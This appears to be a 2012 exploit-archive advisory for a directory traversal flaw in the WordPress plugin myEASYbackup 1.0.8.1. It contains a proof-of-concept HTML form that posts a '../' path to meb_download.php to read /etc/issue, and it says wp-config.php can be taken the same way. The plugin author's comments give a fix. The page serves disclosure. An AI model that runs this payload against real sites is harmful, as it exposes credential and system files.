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WordPress myEASYbackup 1.0.8.1 Directory Traversal

WordPress myEASYbackup 1.0.8.1 Directory Traversal
Posted Jan 16, 2012
Authored by antiphastrophus

WordPress plugin myEASYbackup version 1.0.8.1 suffers from a directory traversal vulnerability that allows for arbitrary file downloads.

tags | exploit, arbitrary, file inclusion
MD5 | 7f54135b82974ba6a5ce5cfc44d7dac3

WordPress myEASYbackup 1.0.8.1 Directory Traversal

Change Mirror Download
wordpress plugin myEASYbackup 1.0.8.1 arbitrary file download
http://wordpress.org/extend/plugins/myeasybackup/

parameter "dwn_file" (post)
script "meb_download.php"
you can get wp-config.php or whatever (using advanced directory traversal
technology)!


<form method="post" action="http://CENSORED/wp-content/plugins/myeasybackup/meb_download.php">
<input type="text" name="dwn_file" value="../../../../../../../../etc/issue">
<input type="submit">
</form>



author: antiphastrophus

Comments (2)

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mrcamaleo

Hi,

"meb_download.php" adds the backup path defined by the user in the settings:
$file = MEBAK_BACKUP_PATH . '/' . $_POST['dwn_file'];

I tough that doing this was sufficient but I was wrong did not considering the "../../" trick :(

I can easily release a new version that "calculates" the path of the file name to download as follows:
$file_name = MEBAK_BACKUP_PATH . '/' . basename($_POST['dwn_file']);

Do you think its enough safe?

thanks,
Camaleo

Comment by mrcamaleo
2012-01-17 11:01:48 UTC | Permalink | Reply
mrcamaleo

fixed starting from version 1.0.9, now available for downloads, thanks for letting me know.

Comment by mrcamaleo
2012-01-19 07:24:14 UTC | Permalink | Reply
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